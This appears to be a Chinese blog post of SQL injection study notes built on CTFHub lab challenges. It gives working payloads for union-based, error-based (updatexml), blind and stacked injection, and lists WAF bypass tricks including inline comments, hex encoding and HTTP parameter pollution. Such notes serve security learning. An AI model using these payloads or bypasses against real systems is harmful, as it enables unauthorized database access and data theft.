SQL注入学习笔记

SQL注入原理:

        SQL注入是开发者对用户输入的参数过滤不严格,导致用户输入端数据能影响预设查询功能的一种技术,通常将导致数据库的原有信息泄露,篡改,甚至被删除。

注入分类:

1.数字型注入:

判断方法在URL地址栏构造?id=1',不符合语法肯定会报错,页面回显异常

                  继续构造?id=1 and 1=2,这是个永远假条件,因此页面仍然返回异常

                  继续构造?id=1 and 1=1,这个查询语句正确,页面返回与?id=1一样

因此可以判断此注入点为数字型注入。

以ctfhub为例(无waf):

查询语句:select * from table where id=1

此处就不继续做判断了,判断如上,直接注入。

使用order by x来判断回显点,发现在x=2时正常,x=3时页面返回异常,所以确定回显点为2。

 构造语句:1 and 1=2 union select 1,database() 爆出数据库sqli,这里的1=2是为了让前面查询的语句不显示而显示后面查询到的语句

 构造语句:1 and 1=2 union select 1,group_concat(table_name) from information_schema.tables where table_schema='sqli'查询表名

group_concat:将所有的表名放在一行中显示

 1 and 1=2 union select 1,group_concat(column_name) from information_schema.columns where table_name='flag'爆出字段名

 1 and 1=2 union select 1,flag from sqli.flag查询字段值,拿到flag

  下面是尝试的sqlmap工具自动注入

 2.字符型注入:

与数字型注入基本一致,查询语句由

select * from table where id=1变为select * from table where id='1'

这里需要用到前面引号闭合以及后面引号记得注释:1' order by 2 #,那么查询语句将变成:

select * from table where id='1' order by 2 #'

输入1' and 1=2 union select 1,database() #

以此类推,一样可以得到flag。

3.报错注入:

有时为了开发者方便调试,有点网站会开启错误调试信息,因此只要触发SQL语句的错误,即可以在页面上看到错误的信息,利用MYSQL将语句执行后的报错信息输出(同样用ctfhub做例子)。

UPDATEXML (XML_document, XPath_string, new_value)

第一个参数:XML_document是String格式,为XML文档对象的名称

第二个参数:XPath_string (Xpath格式的字符串

第三个参数:new_value,String格式,替换查找到的符合条件的数据

作用:改变文档中符合条件的节点的值

由于updatexml的第二个参数为Xpath格式的字符串,以~开头的内容不是xml格式的语法,concat()函数为字符串连接函数不符合规则,所以就会将括号内的执行结果以错误的形式报出,这样就可以实现报错注入了。

先是一顿操作发现页面只返回查询正确,查询错误,错误时返回错误原因,利用updatexml函数

1 or (select updatexml(0,concat(0x7e,(select database()),0x7e),0))

这里的or或者and都可以,concat()函数将报错信息展示在一行,而select database()将会执行,由于执行过后返回的concat语句不满足Xpath格式,因此就会以报错的形式显现出来,这里面的0x7e是 ~符号,ascll码,用于区分报错信息。查询出database。

 接下来将查询语句放在concat里面,这里与数字字符型很像,然后注意limit1,1,将显示的内容限定在第一行,因为前面查询的语句可能会覆盖掉sql查询语句。

1 or (select updatexml(0,concat(0x7e,(select table_name from information_schema.tables where table_schema='sqli' limit 1,1),0x7e),0))

(中间截掉了一张查询列表的查询语句------)

得到了库名,表名和字段名接下来继续查询字段内容

1 or (select updatexml(0,concat(0x7e,(select flag from sqli.flag),0x7e),0))

 在这里我们发现查询到的flag有字符长度限制,不能完全爆出来,在这里用到了substr函数
substr()函数截取字段数

格式1: substr(string string, int a, int b);从a-b截取。

格式2:substr(string string, int a) ;空格也算。

1 or (select updatexml(1,substr(concat(0x7e,(select flag from sqli.flag),0x7e),2,100),1))

 结合上述得到flag。

4.时间盲注和布尔盲注:

盲注的本质就是猜解,在没有回显数据的情况下,出现差异包括运行时间的差异和页面返回结果的差异。相对来说这两种注入如果手工的话相对麻烦,且耗时长,一般使用工具sqlmap,或者使用python脚本来进行注入,常用函数来进行字符串截取,一位一位获得。比如substring(),mid(),substr(),通过截取每一个字符再通过判断语句进行判断,得到每一个字符,最后得到数据库的库名表名和列名。

对于基于布尔的盲注来说,我们可以构造一条注入语句来测试我们输入的布尔表达式,而这布尔表达式结果的真假,决定了每次页面有不同的反应。

 

 通过length函数可以知道database数据库名只有4个字符构造语句:

1 and substr(database(),1,1)='a'

 在burpsuite中将substr中第一个1的位置和最后面为a的位置设置爆破点。

 发现返回长度只有四个不一样

 就可以判断数据库名为sqli,接下来用类似的select语句放在substr中继续查询放到burpsuite爆破即可。

对于基于时间的盲注来说,我们构造的语句中,包含了能否影响系统运行时间的函数,根据每次页面返回的时间,判断注入的语句是否被成功执行。可以用

sleep(if(条件或者判断语句,条件成立执行时间,条件失败执行时间))

通过延迟时间的区别挑选出最后的字符串。

(假装不知道是时间注入,假装判断一下)

 

 仍然使用length()来判断字符数

 

 然后就开始爆破不过时间盲注爆破出来字段数都是一样的,这里需要去看time延迟时间,找到最大的那几个字符拼接在一起才能得到想要的结果。

 这两类盲注相对来说手工复杂,直接使用sqlmap会方便一点,但是我用sqlmap跑也会跑很久,只是操作要简单一点,sqlmap操作相对简单就不写了。

5.堆叠注入:

堆叠注入和union的区别在于,union后只能跟select,而堆叠后面可以使用insert,update, create,delete等常规数据库语句

堆叠查询注入:堆叠查询可以执行多条SQL语句,语句之间以分号(;)隔开。而堆叠查询注入攻击就是利用此特点,在第二条语句中构造自己要执行的语句。

>预处理语句定义:

SQL预处理(Prepare),是一种特殊的SQL处理方式;预处理不会直接执行SQL语句,而是先将SQL语句编译,生成执行计划,然后通过Execute命令携带SQL参数来执行SQL语句。

@预定义prepare模板:

prepare xxx as select * from user where id=1;  //将select查询语句定义为xxx

execute xxx;  //再使用execute来执行这个变量xxx即可执行上诉的select查询语句

所以本题,先是使用prepare来预定义@a语句为hello,然后再使用execute来执行hello,这里execute执行的就是@a语句。

后续继续是使用set来对变量@a赋值,set是SQL Server中对已经定义的变量赋值方式,这里就是对变量@a进行赋值,在@a的语句中,是使用了concat()函数,这里是使用concat函数将select进行连接过滤,因为select是被过滤了。

0';sEt@a=concat("sel","ect flag from `1919810931114514`");PRepare hello from @a;execute hello;#

@concat()函数:将多个字符串连接成一个字符串

 语法:concat(str1,str2)

 返回结果为连接参数产生的字符串, 如果有任何一个参数为null,则返回值为null。

     所以这里是通过concat函数将查询语句进行连接,然后赋值给变量@a,然后再通过prepare来预定义@a的查询语句为hello,最后再使用execute来执行hello。

查询命令:0';sEt@a=concat("sel","ect flag from `1919810931114514`");PRepare hello from @a;execute hello;#
 

waf绕过:

1.大小写和双写混合:有的注入点对union,select进行了过滤,可以尝试改变字符的大小写,或者在字符串之间再写入一个字符串进行绕过,从而达到注入的目的。

2.解密编码:常见的有base64,MD5编码,URL编码等,我们只需要将查询语句转换成对应的形式,然后放进去,就可以实现绕过。例如对引号进行了过滤,可以考虑用16进制来进行绕过:

select column_name  from information_schema.tables where table_name="users"
select column_name  from information_schema.tables where table_name=0x7573657273
or and xor not绕过:
and=&&  or=||   xor=|   not=!

3.注释符混用:mysql中有/* */注释符可以混淆绕过#,--+,--(空格),也可以用括号代替空格来绕过对空格的过滤

select(user())from xxx where(1=1)and(2=2)

内联注释绕过:

id=-1'/*!UnIoN*/ SeLeCT 1,2,concat(/*!table_name*/) FrOM /*information_schema*/.tables /*!WHERE *//*!TaBlE_ScHeMa*/ like database()#

4.等价函数替换:

hex()、bin() --> ascii()
sleep() -->benchmark()
concat_ws()-->group_concat()
mid()、substr() --> substring()

5.借助数据库特性

6.HTTP参数污染:

在与服务器进行交互的过程中,客户端往往会在GET/POST请求中带上参数。通常在一个请求中,同名参数只会出现一次,但是在HTTP协议中是允许同名参数多次出现的。假设请求为index.php?id=1&id=2,客户端请求首先通过tomcat解析第一个参数,接下来tomcat去请求apache服务器,而apache解析最后一个参数。实际提供服务的是apache服务器,因此返回客户端的是id=2。

如果一个网站只在tomcat服务器处做数据过滤和处理,我们可以利用解析参数的不同,对WAF检测进行绕过。

攻击payload:index.php?id=-1' union select 1,database(),3--+

union select…会被tomcat服务器识别为恶意攻击并拦截,而如果payload如下:

攻击payload:index.php?id=1&id=-1' union select 1,database(),3--+

n select 1,database(),3–+```

tomcat服务器检测第一个参数后发现无异常,提交。
参数污染原文链接:https://blog.csdn.net/weixin_43872099/article/details/104926292

7.垃圾数据溢出

8.select被过滤时:可以使用desc倒序查看表内的字段,也可以show columns from 表名。

 当需要查看具体信息的时候,可以使用预处理语句

=被过滤时:可以用like或rlike,也可以用regexp(正则来匹配)来绕过

比如='admin' 就可以like 'admin'

SQLMAP工具利用:

参数拓展:转自https://blog.csdn.net/qq_34398519/article/details/89055926

增删查改:

创建表:creat table 名字

1.插入数据:insert into 表名(字段1,字段2,字段3。。。。) values(值1,值2,值3。。。。)

2.修改数据:update 表名 set 字段1=值1,字段2=值2。。。。。

3.删除数据:delete from 表名 [where筛选] [order by 筛选] [limit 筛选]

4.查看数据:select * from 表名

  • 0
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 2
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值